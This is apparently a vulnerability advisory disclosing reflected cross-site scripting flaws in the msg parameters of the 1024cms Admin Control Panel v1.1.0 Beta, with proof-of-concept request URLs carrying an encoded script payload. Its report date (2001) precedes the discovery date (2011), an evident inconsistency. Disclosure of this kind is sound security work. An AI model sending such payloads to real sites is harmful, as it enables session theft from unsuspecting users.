XSS Vulnerabilities in 1024cms Admin Control Panel v1.1.0 Beta

[by_argos@xxxxxxxxxxx]

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   1024cms Admin Control Panel v1.1.0 Beta (Complete-Modules Package) - 
Cross-Site Scripting Vulnerability
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Software:               1024cms Admin Control Panel v1.1.0 Beta 
(complete-modules package)
Vendor:                 http://1024cms.org/
Vuln Type:              Cross-Site Scripting
Remote:                 Yes
Local:                  No
Discovered by:  QSecure and Demetris Papapetrou 
Website:                http://www.qsecure.com.cy
Discovered:             15/03/2011
Reported:               29/03/2001
Disclosed:


VULNERABILITY DESCRIPTION:
==========================
The script "/index.php" is prone to a cross-site-scripting vulnerability 
because it fails to properly sanitize user-supplied input in the "msg" 
parameter.

The script "/dashboard.php" is prone to a cross-site-scripting vulnerability 
because it fails to properly sanitize user-supplied input in the "msg_error", 
"msg_okay",  "msg_info",  "msg_attention" parameters.

An attacker may leverage this issue to execute arbitrary script code in the 
browser of an unsuspecting user in the context of the affected site. This may 
help the attacker steal cookie-based authentication credentials and launch 
other attacks.


PoC Exploit:
============
Note: PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b = 
URL_Encoded(Base64_Encoded(XSS string))

/index.php?msg=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
/dashboard.php?msg_error=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
/dashboard.php?msg_okay=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
/dashboard.php?msg_info=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
/dashboard.php?msg_attention=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b